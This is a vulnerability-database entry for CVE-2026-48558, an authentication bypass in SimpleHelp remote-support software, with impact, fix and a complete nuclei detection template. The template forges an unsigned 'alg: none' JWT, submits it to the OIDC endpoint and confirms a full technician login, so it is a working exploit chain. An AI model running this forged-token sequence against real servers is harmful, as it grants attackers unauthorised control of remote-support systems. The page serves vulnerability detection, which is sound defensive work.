HexBrain

Browse / CVEs / CVE-2026-48558

CVE-2026-48558· simple-help / simplehelp· CWE-347

SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-06-29; known to be used by ransomware.

criticalseverity
10CVSS score
80.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.

Impact

Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.

Fix

Update to a version later than 5.5.15 or the final 6.0 release.

How to confirm it

Send: GET {{BaseURL}}/allversions
Positive when: matches /Visual Version:\s+5\.5\.(\d+)/
Send: GET {{BaseURL}}/auth/v1/account/login_options
Positive when: status 200
Send: GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}}
Positive when: status 200
Send: POST /oidc
Positive when: status_code == 200 || status_code == 302
Send: GET {{BaseURL}}/auth/v1/account/status
Positive when: status_code == 200 and contains(body, "FULLY_AUTHENTICATED") and contains(body, "\"code\":1") || contains(body, "\"code\": 1")

Run it with nuclei: nuclei -id CVE-2026-48558 -u <target>

The full check
id: CVE-2026-48558

info:
  name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.
  impact: |
    Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.
  remediation: |
    Update to a version later than 5.5.15 or the final 6.0 release.
  reference:
    - https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/
    - https://simple-help.com/security/simplehelp-security-update-2026-05
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb
    - https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48558
    cwe-id: CWE-347
    epss-score: 0.80251
    epss-percentile: 0.99622
  metadata:
    verified: true
    max-request: 5
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
    fofa-query: body="SimpleHelp"
  tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln

flow: |
  (function () {
    if (!http(1)) { return; }
    var minor = parseInt(template["sh_minor"] || "99");
    if (isNaN(minor) || minor > 15) { return; }

    http(2);
    var providers_raw = template["providers_raw"];
    if (!providers_raw) { return; }

    var providers;
    try {
      providers = JSON.parse(providers_raw);
    } catch (e) { return; }
    if (!providers || !providers[0]) { return; }

    var provider = null;
    for (var i = 0; i < providers.length; i++) {
      if (providers[i]["type"] === "oidc" || providers[i]["type"] === "azure") {
        provider = providers[i];
        break;
      }
    }
    if (!provider) { return; }

    var root = (template["http_1_host"] || "").replace(/\/+$/, "");
    if (!root) { return; }
    provider["callback"] = root + "/webapps/technician/";
    set("oidc_payload_enc", encodeURIComponent(JSON.stringify(provider)));

    http(3);
    var auth_url_str = template["auth_url_raw"] || "";
    var auth_url;
    try {
      auth_url = JSON.parse(auth_url_str);
    } catch (e) {
      auth_url = auth_url_str.replace(/^"/, "").replace(/"$/, "").trim();
    }
    if (!auth_url) { return; }

    var state_m = auth_url.match(/[?&]state=([^&\s"'<>]+)/);
    if (!state_m) { return; }

    var nonce_m = auth_url.match(/[?&]nonce=([^&\s"'<>]+)/);
    var nonce = nonce_m ? nonce_m[1] : "";

    function b64url(s) {
      var CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
      var bytes = [];
      for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }
      var out = "";
      var j = 0;
      while (j < bytes.length) {
        var b0 = bytes[j++];
        var b1 = (j < bytes.length) ? bytes[j++] : -1;
        var b2 = (j < bytes.length) ? bytes[j++] : -1;
        out += CHARS[b0 >> 2];
        out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];
        if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }
        if (b2 >= 0) { out += CHARS[b2 & 63]; }
      }
      return out;
    }

    var now = Math.floor(new Date().getTime() / 1000);
    var jwt_header  = {"alg":"none","typ":"JWT"};
    var jwt_payload = {
      "sub":                "probe-cve-2026-48558",
      "preferred_username": "probe-check",
      "name":               "ProbeCheck",
      "email":              "[email protected]",
      "iat":                now,
      "exp":                now + 3600
    };
    if (nonce) { jwt_payload["nonce"] = nonce; }

    var forged_jwt = b64url(JSON.stringify(jwt_header)) + "." +
                     b64url(JSON.stringify(jwt_payload)) + ".x";

    set("oidc_post_body",
        "state=" + encodeURIComponent(state_m[1]) +
        "&id_token=" + encodeURIComponent(forged_jwt));

    http(4);

    http(5);
  })();

http:
  - method: GET
    path:
      - "{{BaseURL}}/allversions"

    cookie-reuse: true

    matchers:
      - type: regex
        part: body
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

    extractors:
      - type: regex
        name: sh_minor
        part: body
        group: 1
        regex:
          - "Visual Version:\\s+5\\.5\\.(\\d+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/login_options"

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: providers_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, */*

    cookie-reuse: true

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: dsl
        name: auth_url_raw
        dsl:
          - "body"
        internal: true

  - raw:
      - |
        POST /oidc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{oidc_post_body}}

    cookie-reuse: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 302"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth/v1/account/status"

    cookie-reuse: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "FULLY_AUTHENTICATED")'
          - 'contains(body, "\"code\":1") || contains(body, "\"code\": 1")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'username + " | " + email'

      - type: json
        part: body
        json:
          - ".user.username"
        name: username
        internal: true

      - type: json
        part: body
        json:
          - ".user.emailAddress"
        name: email

References

Use this check only on systems you are authorised to test. Where the data comes from